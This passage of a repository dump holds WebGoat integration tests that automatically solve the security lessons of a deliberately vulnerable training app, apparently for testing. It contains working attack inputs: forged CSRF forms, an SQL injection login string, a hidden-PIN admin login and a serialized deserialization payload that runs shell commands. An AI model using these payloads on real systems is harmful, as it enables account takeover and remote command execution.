</googleJavaFormat>\n          </java>\n          <pom>\n            <sortPom>\n              <encoding>UTF-8</encoding>\n              <lineSeparator>${line.separator}</lineSeparator>\n              <expandEmptyElements>true</expandEmptyElements>\n              <spaceBeforeCloseEmptyElement>false</spaceBeforeCloseEmptyElement>\n              <keepBlankLines>true</keepBlankLines>\n              <nrOfIndentSpace>2</nrOfIndentSpace>\n              <indentBlankLines>false</indentBlankLines>\n              <indentSchemaLocation>false</indentSchemaLocation>\n              <predefinedSortOrder>recommended_2008_06</predefinedSortOrder>\n              <sortProperties>true</sortProperties>\n              <sortModules>true</sortModules>\n              <sortExecutions>true</sortExecutions>\n            </sortPom>\n          </pom>\n        </configuration>\n        <executions>\n          <execution>\n            <goals>\n              <goal>check</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <version>3.0.0</version>\n        <executions>\n          <execution>\n            <id>restrict-log4j-versions</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <phase>validate</phase>\n            <configuration>\n              <rules>\n                <bannedDependencies>\n                  <excludes combine.children=\"append\">\n                    <exclude>org.apache.logging.log4j:log4j-core</exclude>\n                  </excludes>\n                </bannedDependencies>\n              </rules>\n              <fail>true</fail>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>17</source>\n          <target>17</target>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <profile>\n      <id>local-server</id>\n    </profile>\n    <profile>\n      <id>start-server</id>\n      <activation>\n        <activeByDefault>true</activeByDefault>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>build-helper-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>reserve-container-port</id>\n                <goals>\n                  <goal>reserve-network-port</goal>\n                </goals>\n                <phase>process-resources</phase>\n                <configuration>\n                  <portNames>\n                    <portName>webgoat.port</portName>\n                    <portName>webwolf.port</portName>\n                    <portName>jmxPort</portName>\n                  </portNames>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>com.bazaarvoice.maven.plugins</groupId>\n            <artifactId>process-exec-maven-plugin</artifactId>\n            <version>0.9</version>\n            <executions>\n              <execution>\n                <id>start-jar</id>\n                <goals>\n                  <goal>start</goal>\n                </goals>\n                <phase>pre-integration-test</phase>\n                <configuration>\n                  <workingDir>${project.build.directory}</workingDir>\n                  <arguments>\n                    <argument>java</argument>\n                    <argument>-jar</argument>\n                    <argument>-Dlogging.pattern.console=</argument>\n                    <argument>-Dspring.main.banner-mode=off</argument>\n                    <argument>-Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat</argument>\n                    <argument>-Dwebgoat.port=${webgoat.port}</argument>\n                    <argument>-Dwebwolf.port=${webwolf.port}</argument>\n                    <argument>--add-opens</argument>\n                    <argument>java.base/java.lang=ALL-UNNAMED</argument>\n                    <argument>--add-opens</argument>\n                    <argument>java.base/java.util=ALL-UNNAMED</argument>\n                    <argument>--add-opens</argument>\n                    <argument>java.base/java.lang.reflect=ALL-UNNAMED</argument>\n                    <argument>--add-opens</argument>\n                    <argument>java.base/java.text=ALL-UNNAMED</argument>\n                    <argument>--add-opens</argument>\n                    <argument>java.desktop/java.beans=ALL-UNNAMED</argument>\n                    <argument>--add-opens</argument>\n                    <argument>java.desktop/java.awt.font=ALL-UNNAMED</argument>\n                    <argument>--add-opens</argument>\n                    <argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>\n                    <argument>--add-opens</argument>\n                    <argument>java.base/java.io=ALL-UNNAMED</argument>\n                    <argument>--add-opens</argument>\n                    <argument>java.base/java.util=ALL-UNNAMED</argument>\n                    <argument>${project.build.directory}/webgoat-${project.version}.jar</argument>\n                  </arguments>\n                  <waitForInterrupt>false</waitForInterrupt>\n                  <healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/</healthcheckUrl>\n                </configuration>\n              </execution>\n              <execution>\n                <id>stop-jar-process</id>\n                <goals>\n                  <goal>stop-all</goal>\n                </goals>\n                <phase>post-integration-test</phase>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>owasp</id>\n      <activation>\n        <activeByDefault>false</activeByDefault>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n            <groupId>org.owasp</groupId>\n            <artifactId>dependency-check-maven</artifactId>\n            <version>6.5.1</version>\n            <configuration>\n              <failBuildOnCVSS>7</failBuildOnCVSS>\n              <skipProvidedScope>false</skipProvidedScope>\n              <skipRuntimeScope>false</skipRuntimeScope>\n              <suppressionFiles>\n                <!--suppress UnresolvedMavenProperty -->\n                <suppressionFile>${maven.multiModuleProjectDirectory}/config/dependency-check/project-suppression.xml</suppressionFile>\n              </suppressionFiles>\n            </configuration>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n</project>\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\n\nimport io.restassured.RestAssured;\nimport io.restassured.http.ContentType;\nimport org.apache.http.HttpStatus;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Map;\n\nclass AccessControlIntegrationTest extends IntegrationTest {\n\n    @Test\n    void testLesson() {\n        startLesson(\"MissingFunctionAC\", true);\n        assignment1();\n        assignment2();\n        assignment3();\n\n        checkResults(\"/access-control\");\n    }\n\n    private void assignment3() {\n        //direct call should fail if user has not been created\n        RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .contentType(ContentType.JSON)\n                .get(url(\"/WebGoat/access-control/users-admin-fix\"))\n                .then()\n                .statusCode(HttpStatus.SC_FORBIDDEN);\n\n        //create user\n        var userTemplate = \"\"\"\n                {\"username\":\"%s\",\"password\":\"%s\",\"admin\": \"true\"}\n                \"\"\";\n        RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .contentType(ContentType.JSON)\n                .body(String.format(userTemplate, this.getUser(), this.getUser()))\n                .post(url(\"/WebGoat/access-control/users\"))\n                .then()\n                .statusCode(HttpStatus.SC_OK);\n\n        //get the users\n        var userHash =\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .contentType(ContentType.JSON)\n                        .get(url(\"/WebGoat/access-control/users-admin-fix\"))\n                        .then()\n                        .statusCode(200)\n                        .extract()\n                        .jsonPath()\n                        .get(\"find { it.username == \\\"Jerry\\\" }.userHash\");\n\n        checkAssignment(url(\"/WebGoat/access-control/user-hash-fix\"), Map.of(\"userHash\", userHash), true);\n    }\n\n    private void assignment2() {\n        var userHash =\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .contentType(ContentType.JSON)\n                        .get(url(\"/WebGoat/access-control/users\"))\n                        .then()\n                        .statusCode(200)\n                        .extract()\n                        .jsonPath()\n                        .get(\"find { it.username == \\\"Jerry\\\" }.userHash\");\n\n        checkAssignment(url(\"/WebGoat/access-control/user-hash\"), Map.of(\"userHash\", userHash), true);\n    }\n\n    private void assignment1() {\n        var params = Map.of(\"hiddenMenu1\", \"Users\", \"hiddenMenu2\", \"Config\");\n        checkAssignment(url(\"/WebGoat/access-control/hidden-menu\"), params, true);\n    }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\n\nimport io.restassured.RestAssured;\nimport io.restassured.http.ContentType;\nimport lombok.Data;\nimport lombok.SneakyThrows;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.DynamicTest;\nimport org.junit.jupiter.api.TestFactory;\nimport org.owasp.webgoat.container.lessons.Assignment;\n\nimport java.io.IOException;\nimport java.nio.file.Files;\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.assertj.core.api.Assertions.assertThat;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.DynamicTest.dynamicTest;\n\npublic class CSRFIntegrationTest extends IntegrationTest {\n\n    private static final String trickHTML3 = \"<!DOCTYPE html><html><body><form action=\\\"WEBGOATURL\\\" method=\\\"POST\\\">\\n\" +\n            \"<input type=\\\"hidden\\\" name=\\\"csrf\\\" value=\\\"thisisnotchecked\\\"/>\\n\" +\n            \"<input type=\\\"submit\\\" name=\\\"submit\\\" value=\\\"assignment 3\\\"/>\\n\" +\n            \"</form></body></html>\";\n\n    private static final String trickHTML4 = \"<!DOCTYPE html><html><body><form action=\\\"WEBGOATURL\\\" method=\\\"POST\\\">\\n\" +\n            \"<input type=\\\"hidden\\\" name=\\\"reviewText\\\" value=\\\"hoi\\\"/>\\n\" +\n            \"<input type=\\\"hidden\\\" name=\\\"starts\\\" value=\\\"3\\\"/>\\n\" +\n            \"<input type=\\\"hidden\\\" name=\\\"validateReq\\\" value=\\\"2aa14227b9a13d0bede0388a7fba9aa9\\\"/>\\n\" +\n            \"<input type=\\\"submit\\\" name=\\\"submit\\\" value=\\\"assignment 4\\\"/>\\n\" +\n            \"</form>\\n\" +\n            \"</body></html>\";\n\n    private static final String trickHTML7 = \"<!DOCTYPE html><html><body><form action=\\\"WEBGOATURL\\\" enctype='text/plain' method=\\\"POST\\\">\\n\" +\n            \"<input type=\\\"hidden\\\" name='{\\\"name\\\":\\\"WebGoat\\\",\\\"email\\\":\\\"webgoat@webgoat.org\\\",\\\"content\\\":\\\"WebGoat is the best!!' value='\\\"}' />\\n\" +\n            \"<input type=\\\"submit\\\" value=\\\"assignment 7\\\"/>\\n\" +\n            \"</form></body></html>\";\n\n    private static final String trickHTML8 = \"<!DOCTYPE html><html><body><form action=\\\"WEBGOATURL\\\" method=\\\"POST\\\">\\n\" +\n            \"<input type=\\\"hidden\\\" name=\\\"username\\\" value=\\\"csrf-USERNAME\\\"/>\\n\" +\n            \"<input type=\\\"hidden\\\" name=\\\"password\\\" value=\\\"password\\\"/>\\n\" +\n            \"<input type=\\\"hidden\\\" name=\\\"matchingPassword\\\" value=\\\"password\\\"/>\\n\" +\n            \"<input type=\\\"hidden\\\" name=\\\"agree\\\" value=\\\"agree\\\"/>\\n\" +\n            \"<input type=\\\"submit\\\" value=\\\"assignment 8\\\"/>\\n\" +\n            \"</form></body></html>\";\n\n    private String webwolfFileDir;\n\n    @BeforeEach\n    @SneakyThrows\n    public void init() {\n        startLesson(\"CSRF\");\n        webwolfFileDir = getWebWolfFileServerLocation();\n        uploadTrickHtml(\"csrf3.html\", trickHTML3.replace(\"WEBGOATURL\", url(\"/csrf/basic-get-flag\")));\n        uploadTrickHtml(\"csrf4.html\", trickHTML4.replace(\"WEBGOATURL\", url(\"/csrf/review\")));\n        uploadTrickHtml(\"csrf7.html\", trickHTML7.replace(\"WEBGOATURL\", url(\"/csrf/feedback/message\")));\n        uploadTrickHtml(\"csrf8.html\", trickHTML8.replace(\"WEBGOATURL\", url(\"/login\")).replace(\"USERNAME\", this.getUser()));\n    }\n\n    @TestFactory\n    Iterable<DynamicTest> testCSRFLesson() {\n        return Arrays.asList(\n                dynamicTest(\"assignment 3\", () -> checkAssignment3(callTrickHtml(\"csrf3.html\"))),\n                dynamicTest(\"assignment 4\", () -> checkAssignment4(callTrickHtml(\"csrf4.html\"))),\n                dynamicTest(\"assignment 7\", () -> checkAssignment7(callTrickHtml(\"csrf7.html\"))),\n                dynamicTest(\"assignment 8\", () -> checkAssignment8(callTrickHtml(\"csrf8.html\")))\n        );\n    }\n\n    @AfterEach\n    public void shutdown() throws IOException {\n        //logout();\n        login();//because old cookie got replaced and invalidated\n        startLesson(\"CSRF\", false);\n        checkResults(\"/csrf\");\n    }\n\n    private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {\n\n        //remove any left over html\n        Path webWolfFilePath = Paths.get(webwolfFileDir);\n        if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {\n            Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));\n        }\n\n        //upload trick html\n        RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"WEBWOLFSESSION\", getWebWolfCookie())\n                .multiPart(\"file\", htmlName, htmlContent.getBytes())\n                .post(webWolfUrl(\"/WebWolf/fileupload\"))\n                .then()\n                .extract().response().getBody().asString();\n    }\n\n    private String callTrickHtml(String htmlName) {\n        String result = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .cookie(\"WEBWOLFSESSION\", getWebWolfCookie())\n                .get(webWolfUrl(\"/files/\" + this.getUser() + \"/\" + htmlName))\n                .then()\n                .extract().response().getBody().asString();\n        result = result.substring(8 + result.indexOf(\"action=\\\"\"));\n        result = result.substring(0, result.indexOf(\"\\\"\"));\n\n        return result;\n    }\n\n    private void checkAssignment3(String goatURL) {\n        String flag = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .header(\"Referer\", webWolfUrl(\"/files/fake.html\"))\n                .post(goatURL)\n                .then()\n                .extract().path(\"flag\").toString();\n\n        Map<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"confirmFlagVal\", flag);\n        checkAssignment(url(\"/WebGoat/csrf/confirm-flag-1\"), params, true);\n    }\n\n    private void checkAssignment4(String goatURL) {\n\n        Map<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"reviewText\", \"test review\");\n        params.put(\"stars\", \"5\");\n        params.put(\"validateReq\", \"2aa14227b9a13d0bede0388a7fba9aa9\");//always the same token is the weakness\n\n        boolean result = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .header(\"Referer\", webWolfUrl(\"/files/fake.html\"))\n                .formParams(params)\n                .post(goatURL)\n                .then()\n                .extract().path(\"lessonCompleted\");\n        assertEquals(true, result);\n\n    }\n\n    private void checkAssignment7(String goatURL) {\n        Map<String, Object> params = new HashMap<>();\n        params.put(\"{\\\"name\\\":\\\"WebGoat\\\",\\\"email\\\":\\\"webgoat@webgoat.org\\\",\\\"content\\\":\\\"WebGoat is the best!!\", \"\\\"}\");\n\n        String flag = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .header(\"Referer\", webWolfUrl(\"/files/fake.html\"))\n                .contentType(ContentType.TEXT)\n                .body(\"{\\\"name\\\":\\\"WebGoat\\\",\\\"email\\\":\\\"webgoat@webgoat.org\\\",\\\"content\\\":\\\"WebGoat is the best!!\" + \"=\\\"}\")\n                .post(goatURL)\n                .then()\n                .extract().asString();\n        flag = flag.substring(9 + flag.indexOf(\"flag is:\"));\n        flag = flag.substring(0, flag.indexOf(\"\\\"\"));\n\n        params.clear();\n        params.put(\"confirmFlagVal\", flag);\n        checkAssignment(url(\"/WebGoat/csrf/feedback\"), params, true);\n\n    }\n\n    private void checkAssignment8(String goatURL) {\n\n        //first make sure there is an attack csrf- user\n        registerCSRFUser();\n\n        Map<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"username\", \"csrf-\" + this.getUser());\n        params.put(\"password\", \"password\");\n\n        //login and get the new cookie\n        String newCookie = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .header(\"Referer\", webWolfUrl(\"/files/fake.html\"))\n                .params(params)\n                .post(goatURL)\n                .then()\n                .extract().cookie(\"JSESSIONID\");\n\n        //select the lesson\n        RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", newCookie)\n                .get(url(\"CSRF.lesson.lesson\"))\n                .then()\n                .statusCode(200);\n\n        //click on the assignment\n        boolean result = RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .cookie(\"JSESSIONID\", newCookie)\n                .post(url(\"/csrf/login\"))\n                .then()\n                .statusCode(200)\n                .extract().path(\"lessonCompleted\");\n\n        assertThat(result).isTrue();\n\n        login();\n        startLesson(\"CSRF\", false);\n\n        Overview[] assignments = RestAssured.given()\n                .cookie(\"JSESSIONID\", getWebGoatCookie())\n                .get(url(\"/service/lessonoverview.mvc\"))\n                .then()\n                .extract()\n                .jsonPath()\n                .getObject(\"$\", Overview[].class);\n//\t\tassertThat(assignments)\n//                .filteredOn(a -> a.getAssignment().getName().equals(\"CSRFLogin\"))\n//                .extracting(o -> o.solved)\n//                .containsExactly(true);\n    }\n\n    @Data\n    private static class Overview {\n        Assignment assignment;\n        boolean solved;\n    }\n\n    /**\n     * Try to register the new user. Ignore the result.\n     */\n    private void registerCSRFUser() {\n\n        RestAssured.given()\n                .when()\n                .relaxedHTTPSValidation()\n                .formParam(\"username\", \"csrf-\" + this.getUser())\n                .formParam(\"password\", \"password\")\n                .formParam(\"matchingPassword\", \"password\")\n                .formParam(\"agree\", \"agree\")\n                .post(url(\"register.mvc\"));\n\n    }\n\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\n\nimport io.restassured.RestAssured;\nimport org.junit.jupiter.api.Test;\n\nimport java.util.Arrays;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertTrue;\n\n\npublic class ChallengeIntegrationTest extends IntegrationTest {\n\n    @Test\n    public void testChallenge1() {\n        startLesson(\"Challenge1\");\n\n        byte[] resultBytes =\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .get(url(\"/WebGoat/challenge/logo\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().asByteArray();\n\n        String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));\n        Map<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"username\", \"admin\");\n        params.put(\"password\", \"!!webgoat_admin_1234!!\".replace(\"1234\", pincode));\n\n\n        checkAssignment(url(\"/WebGoat/challenge/1\"), params, true);\n        String result =\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .formParams(params)\n                        .post(url(\"/WebGoat/challenge/1\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().asString();\n\n        String flag = result.substring(result.indexOf(\"flag\") + 6, result.indexOf(\"flag\") + 42);\n        params.clear();\n        params.put(\"flag\", flag);\n        checkAssignment(url(\"/WebGoat/challenge/flag\"), params, true);\n\n\n        checkResults(\"/challenge/1\");\n\n        List<String> capturefFlags =\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .get(url(\"/WebGoat/scoreboard-data\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().jsonPath()\n                        .get(\"find { it.username == \\\"\" + this.getUser() + \"\\\" }.flagsCaptured\");\n        assertTrue(capturefFlags.contains(\"Admin lost password\"));\n    }\n\n    @Test\n    public void testChallenge5() {\n        startLesson(\"Challenge5\");\n\n        Map<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"username_login\", \"Larry\");\n        params.put(\"password_login\", \"1' or '1'='1\");\n\n        String result =\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .formParams(params)\n                        .post(url(\"/WebGoat/challenge/5\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().asString();\n\n        String flag = result.substring(result.indexOf(\"flag\") + 6, result.indexOf(\"flag\") + 42);\n        params.clear();\n        params.put(\"flag\", flag);\n        checkAssignment(url(\"/WebGoat/challenge/flag\"), params, true);\n\n\n        checkResults(\"/challenge/5\");\n\n        List<String> capturefFlags =\n                RestAssured.given()\n                        .when()\n                        .relaxedHTTPSValidation()\n                        .cookie(\"JSESSIONID\", getWebGoatCookie())\n                        .get(url(\"/WebGoat/scoreboard-data\"))\n                        .then()\n                        .statusCode(200)\n                        .extract().jsonPath()\n                        .get(\"find { it.username == \\\"\" + this.getUser() + \"\\\" }.flagsCaptured\");\n        assertTrue(capturefFlags.contains(\"Without password\"));\n    }\n\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport static org.junit.jupiter.api.Assertions.fail;\n\nimport java.nio.charset.Charset;\nimport java.security.NoSuchAlgorithmException;\nimport java.security.PrivateKey;\nimport java.security.interfaces.RSAPrivateKey;\nimport java.security.spec.InvalidKeySpecException;\nimport java.util.Base64;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.xml.bind.DatatypeConverter;\n\nimport org.junit.jupiter.api.Test;\nimport org.owasp.webgoat.lessons.cryptography.CryptoUtil;\nimport org.owasp.webgoat.lessons.cryptography.HashingAssignment;\n\nimport io.restassured.RestAssured;\n\npublic class CryptoIntegrationTest extends IntegrationTest {\n\n\t@Test\n\tpublic void runTests() {\n\t\tstartLesson(\"Cryptography\");\n\n\t\tcheckAssignment2();\n\t\tcheckAssignment3();\n\n\t\t// Assignment 4\n\t\ttry {\n\t\t\tcheckAssignment4();\n\t\t} catch (NoSuchAlgorithmException e) {\n\t\t\te.printStackTrace();\n\t\t\tfail();\n\t\t}\n\n\t\ttry {\n\t\t\tcheckAssignmentSigning();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tfail();\n\t\t}\n\t\t\n\t\tcheckAssignmentDefaults();\n\n\t\tcheckResults(\"/crypto\");\n\n\t}\n\n\tprivate void checkAssignment2() {\n\n\t\tString basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()\n\t\t\t\t.cookie(\"JSESSIONID\", getWebGoatCookie()).get(url(\"/crypto/encoding/basic\")).then().extract()\n\t\t\t\t.asString();\n\t\tbasicEncoding = basicEncoding.substring(\"Authorization: Basic \".length());\n\t\tString decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));\n\t\tString answer_user = decodedString.split(\":\")[0];\n\t\tString answer_pwd = decodedString.split(\":\")[1];\n\t\tMap<String, Object> params = new HashMap<>();\n\t\tparams.clear();\n\t\tparams.put(\"answer_user\", answer_user);\n\t\tparams.put(\"answer_pwd\", answer_pwd);\n\t\tcheckAssignment(url(\"/crypto/encoding/basic-auth\"), params, true);\n\t}\n\n\tprivate void checkAssignment3() {\n\t\tString answer_1 = \"databasepassword\";\n\t\tMap<String, Object> params = new HashMap<>();\n\t\tparams.clear();\n\t\tparams.put(\"answer_pwd1\", answer_1);\n\t\tcheckAssignment(url(\"/crypto/encoding/xor\"), params, true);\n\t}\n\n\tprivate void checkAssignment4() throws NoSuchAlgorithmException {\n\n\t\tString md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie(\"JSESSIONID\", getWebGoatCookie())\n\t\t\t\t.get(url(\"/crypto/hashing/md5\")).then().extract().asString();\n\n\t\tString sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie(\"JSESSIONID\", getWebGoatCookie())\n\t\t\t\t.get(url(\"/crypto/hashing/sha256\")).then().extract().asString();\n\n\t\tString answer_1 = \"unknown\";\n\t\tString answer_2 = \"unknown\";\n\t\tfor (String secret : HashingAssignment.SECRETS) {\n\t\t\tif (md5Hash.equals(HashingAssignment.getHash(secret, \"MD5\"))) {\n\t\t\t\tanswer_1 = secret;\n\t\t\t}\n\t\t\tif (sha256Hash.equals(HashingAssignment.getHash(secret, \"SHA-256\"))) {\n\t\t\t\tanswer_2 = secret;\n\t\t\t}\n\t\t}\n\n\t\tMap<String, Object> params = new HashMap<>();\n\t\tparams.clear();\n\t\tparams.put(\"answer_pwd1\", answer_1);\n\t\tparams.put(\"answer_pwd2\", answer_2);\n\t\tcheckAssignment(url(\"/WebGoat/crypto/hashing\"), params, true);\n\t}\n\n\tprivate void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {\n    \t\n    \tString privatePEM = RestAssured.given()\n            \t.when()\n            \t.relaxedHTTPSValidation()\n            \t.cookie(\"JSESSIONID\", getWebGoatCookie())\n            \t.get(url(\"/crypto/signing/getprivate\"))\n            \t.then()\n\t\t\t\t.extract().asString();\n\t\tPrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);\n\n\t\tRSAPrivateKey privk = (RSAPrivateKey) privateKey;\n\t\tString modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());\n    \tString signature = CryptoUtil.signMessage(modulus, privateKey);\n        Map<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"modulus\", modulus);\n        params.put(\"signature\", signature);\n        checkAssignment(url(\"/crypto/signing/verify\"), params, true);\n    }\n\t\n\tprivate void checkAssignmentDefaults() {\n    \t\n    \tString text = new String(Base64.getDecoder().decode(\"TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl\".getBytes(Charset.forName(\"UTF-8\"))));\n\n\t\tMap<String, Object> params = new HashMap<>();\n        params.clear();\n        params.put(\"secretText\", text);\n        params.put(\"secretFileName\", \"default_secret\");\n        checkAssignment(url(\"/crypto/secure/defaults\"), params, true);\n    }\n    \n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport org.dummy.insecure.framework.VulnerableTaskHolder;\nimport org.junit.jupiter.api.Test;\nimport org.owasp.webgoat.lessons.deserialization.SerializationHelper;\n\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class DeserializationIntegrationTest extends IntegrationTest {\n\n    private static String OS = System.getProperty(\"os.name\").toLowerCase();\n\n    @Test\n    public void runTests() throws IOException {\n        startLesson(\"InsecureDeserialization\");\n\n        Map<String, Object> params = new HashMap<>();\n        params.clear();\n\n        if (OS.indexOf(\"win\") > -1) {\n            params.put(\"token\", SerializationHelper.toString(new VulnerableTaskHolder(\"wait\", \"ping localhost -n 5\")));\n        } else {\n            params.put(\"token\", SerializationHelper.toString(new VulnerableTaskHolder(\"wait\", \"sleep 5\")));\n        }\n        checkAssignment(url(\"/WebGoat/InsecureDeserialization/task\"), params, true);\n\n        checkResults(\"/InsecureDeserialization/\");\n\n    }\n\n\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java",
    "content": "package org.owasp.webgoat;\n\nimport io.restassured.RestAssured;\nimport io.restassured.http.ContentType;\nimport java.util.HashMap;\nimport java.util.Map;\nimport org.hamcrest.CoreMatchers;\nimport org.hamcrest.MatcherAssert;\nimport org.junit.jupiter.api.Test;\nimport org.springframework.util.StringUtils;\n\npublic class GeneralLessonIntegrationTest extends IntegrationTest {\n\n  @Test\n  public void httpBasics() {\n    startLesson(\"HttpBasics\");\n    Map<String, Object> params = new HashMap<>();\n    params.clear();\n    params.put(\"person\", \"goatuser\");\n    checkAssignment(url(\"HttpBasics/attack1\"), params, true);\n\n    params.clear();\n    params.put(\"answer\", \"POST\");\n    params.put(\"magic_answer\", \"33\");\n    params.put(\"magic_num\", \"4\");\n    checkAssignment(url(\"HttpBasics/attack2\"), params, false);\n\n    params.clear();\n    params.put(\"answer\", \"POST\");\n    params.put(\"magic_answer\", \"33\");\n    params.put(\"magic_num\", \"33\");\n    checkAssignment(url(\"HttpBasics/attack2\"), params, true);\n\n    checkResults(\"/HttpBasics/\");\n  }\n\n  @Test\n  public void httpProxies() {\n    startLesson(\"HttpProxies\");\n    MatcherAssert.assertThat(\n        RestAssured.given()\n            .when()\n            .relaxedHTTPSValidation()\n            .cookie(\"JSESSIONID\", getWebGoatCookie())\n            .header(\"x-request-intercepted\", \"true\")\n            .contentType(ContentType.JSON)\n            .get(url(\"HttpProxies/intercept-request?changeMe=Requests are tampered easily\"))\n            .then()\n            .statusCode(200)\n            .extract()\n            .path(\"lessonCompleted\"),\n        CoreMatchers.is(true));\n\n    checkResults(\"/HttpProxies/\");\n  }\n\n  @Test\n  public void cia() {\n    startLesson(\"CIA\");\n    Map<String, Object> params = new HashMap<>();\n    params.clear();\n    params.put(\n        \"question_0_solution\",\n        \"Solution 3: By stealing a database where names and emails are stored and uploading it to a website.\");\n    params.put(\n        \"question_1_solution\",\n        \"Solution 1: By changing the names and emails of one or more users stored in a database.\");\n    params.put(\n        \"question_2_solution\",\n        \"Solution 4: By launching a denial of service attack on the servers.\");\n    params.put(\n        \"question_3_solution\",\n        \"Solution 2: The systems security is compromised even if only one goal is harmed.\");\n    checkAssignment(url(\"/WebGoat/cia/quiz\"), params, true);\n    checkResults(\"/cia/\");\n  }\n\n  @Test\n  public void vulnerableComponents() {\n    if 